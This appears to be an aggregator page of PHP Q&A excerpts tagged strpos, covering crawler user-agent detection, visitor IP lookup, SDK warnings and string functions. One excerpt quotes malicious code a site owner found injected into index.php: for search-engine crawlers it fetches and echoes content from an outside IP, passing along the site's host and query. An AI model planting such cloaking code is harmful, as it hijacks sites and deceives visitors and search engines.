strpos

判断搜索引擎来路进行跳转的代码(PHP+JS)

徘徊边缘 提交于 2020-03-23 20:01:04
PHP判断搜索引擎来路跳转代码: <?php $flag = false; $tmp = $_SERVER['HTTP_USER_AGENT']; if(strpos($tmp, 'Googlebot') !== false){ $flag = true; } else if(strpos($tmp, 'Baiduspider') >0){ $flag = true; } else if(strpos($tmp, 'Yahoo! Slurp') !== false){ $flag = true; } else if(strpos($tmp, 'msnbot') !== false){ $flag = true; } else if(strpos($tmp, 'Sosospider') !== false){ $flag = true; } else if(strpos($tmp, 'YodaoBot') !== false || strpos($tmp, 'OutfoxBot') !== false){ $flag = true; } else if(strpos($tmp, 'Sogou web spider') !== false || strpos($tmp, 'Sogou Orion spider') !== false){ $flag = true; } else if

TP5 网站获取访问用户的 IP, 地址 , 访问设备(手机还是PC)并返回手机类型和PC浏览器类型

天大地大妈咪最大 提交于 2020-03-06 16:17:16
我这个方法比较笨 , 但是有效果 , 百度很多都是有问题的 ,基本都是获取地址的API的问题, 我用的是TP , 所以我是把方法放在common中的 , 然后首页调用, 第一个 , 获取访客IP , 这个不多说 , 基本都行 //获取访客ip function getip() { if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP") , "unknown")) { $ip = getenv("HTTP_CLIENT_IP"); } else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR") , "unknown")) { $ip = getenv("HTTP_X_FORWARDED_FOR"); } else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR") , "unknown")) { $ip = getenv("REMOTE_ADDR"); } else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($

该内容被禁止访问原来是入口文件被恶意篡改

北战南征 提交于 2020-02-13 02:12:00
检查index.php 发现,多了以下代码: <?php header ( 'Content-Type:text/html;charset=gb2312' ) ; $key = $_SERVER [ "HTTP_USER_AGENT" ] ; if ( strpos ( $key , 'google' ) !== false || strpos ( $key , 'baidu' ) !== false || strpos ( $key , 'sogou' ) !== false || strpos ( $key , 'so' ) !== false ) { $host_name = "http://" . $_SERVER [ 'SERVER_NAME' ] . $_SERVER [ ' PHP_SELF ' ] ; $file = file_get_contents ( 'http://45.199.97.205/' . "/index.php?host=" . $host_name . "&url=" . $_SERVER [ 'QUERY_STRING' ] . "&domain=" . $_SERVER [ 'SERVER_NAME' ] ) ; echo $file ; } $ref = $_SERVER [ 'HTTP_REFERER' ] ; if ( stripos

腾讯云php sdk 警告 strpos(): Offset not contained in string in

两盒软妹~` 提交于 2020-02-05 10:18:57
Warning: strpos(): Offset not contained in string in /www/wwwroot/8.8.8.8.8/vendor/tencentcloudbase/tencentcloud-client-php/src/TCCosClient.php on line 106 我也不知道是什么问题,感觉这里的代码很奇怪。直接把代码改了一下,负号去掉。 $fullBucket = b u c k e t ; i f ( s t r l e n ( bucket; if (strlen( b u c k e t ; i f ( s t r l e n ( appId) > strlen( b u c k e t ) ∣ ∣ ! s t r p o s ( bucket) || !strpos( b u c k e t ) ∣ ∣ ! s t r p o s ( bucket, a p p I d , s t r l e n ( appId, strlen( a p p I d , s t r l e n ( appId))) { f u l l B u c k e t = " fullBucket = " f u l l B u c k e t = " bucket-$appId"; } 来源: CSDN 作者: lihengdao 链接: https

Multiple array_filter and strpos

北城以北 提交于 2020-01-30 11:40:09
问题 I want to return array that does not contains a list of characters. Below code works fine for one keyword ( 'bc' ). $array = array("abc", "def", "ghi"); $filterArray = array_filter($array, function ($var) {return(strpos($var, 'bc') === false);}); print_r($filterArray); However, below code does not work when I try to filter out multiple keywords by using $excludeKeyword_arr and foreach . $array = array("abc", "def", "ghi"); $excludeKeyword_arr = ("ab", "de"); foreach($excludeKeyword_arr as

strpos return wrong position at hebrew

半城伤御伤魂 提交于 2020-01-25 04:26:27
问题 I need help... I have hebrew php string and I want search position of substring. my code: $string = "אבגד הוזח טי"; $find = "הוזח"; $pos = strpos($string, $find); echo $pos; The strpos found the substring, but return wrong value of position. It return $pos value 9 Instead of 5. Why the strpos not working in hebrew strings? Can you help me please? 回答1: Try using mb_strpos. You will have to set your internal character encoding to UTF-8 using mb_internal_encoding . mb_internal_encoding("UTF-8");

项目中的那些事---下载pdf文件

我与影子孤独终老i 提交于 2020-01-09 03:30:46
最近做了一个下载pdf文档的需求,本以为使用HTML5中<a>标签的属性download就能简单搞定,不料IE竟然不支持这一简单粗暴的H5新特性,而是直接在网页中打开, 于是各种搜索之后得出以下结论:IE中下载文档时,要想直接下载而不是在浏览器中打开,就要给下载的请求添加一些header属性: 1、Content-Disposition: attachment; filename=filename 2、Content-Type: application/octet-stream; 现在以我做的项目为例,总结一下在IE中下载pdf等类型文档的方法: 1、服务器端语言:PHP 2、前端语言:Jquery 因为要设置header,所以只能走服务器 第一步:前端创建一个下载文件的按钮 <button class="btn btn-small btn-warning" id="df">下载pdf文档</button> 这里面的class是bootstrap中的样式,用过bootstrap的人应该都很熟悉,这里不再赘述 第二步:给这个按钮添加点击事件,当点击该按钮时发起一个下载文档的请求给服务器 $("#df").click(function(){ $.ajax({ url:"downloadFile", type : 'POST', dataType : 'json', success :

strpos is not matching

自古美人都是妖i 提交于 2020-01-05 09:24:27
问题 I want search one string and get related values, but in test the function, in each times search words( Title Or Would Or Post Or Ask ) displaying(give) just one output Title,11,11 !!!! how can fix it? // test array $arr = array('Title,11,11','Would,22,22','Post,55,55','Ask,66,66'); // define search function that you pass an array and a search string to function search($needle,$haystack){ //loop over each passed in array element foreach($haystack as $v){ // if there is a match at the first

Warning: strpos() [function.strpos]: Empty delimiter in foreach statement

淺唱寂寞╮ 提交于 2020-01-05 08:01:09
问题 I have read all topics regarding strpos() issues but I cant find one that will fix mine. So here is the code. foreach($titles_array as $k=>$v) { if(strpos($subject,$v) !== false) { $i++; $asd[$titles['id']] = $i; } } The script works good and I get the results I'm looking for but this error comes up : Warning: strpos() [function.strpos]: Empty delimiter I read that it might be an empty string or value in array but I've checked them both and I didnt found any empty string/value. I appreciate

Crop string after 2nd full stop

人盡茶涼 提交于 2020-01-05 07:52:52
问题 In PHP, I'd like to crop the following sentence: "Test 1. Test 2. Test 3." and transform this into 2 strings: "Test 1. Test 2." and "Test 3." How do I achieve this? Do I use strpos? Many thanks for any pointers. 回答1: Something like that? $str = 'Test 1. Test 2. Test 3.'; $strArray = explode('.', $str); $str1 = $strArray[0] . '. ' . $strArray[1] . '.'; $str2 = $strArray[2] . '.'; 回答2: function isIndex($i){ $i = (isset($i)) ? $i : false; return $i; } $str = explode("2.", "Test 1. Test 2. Test 3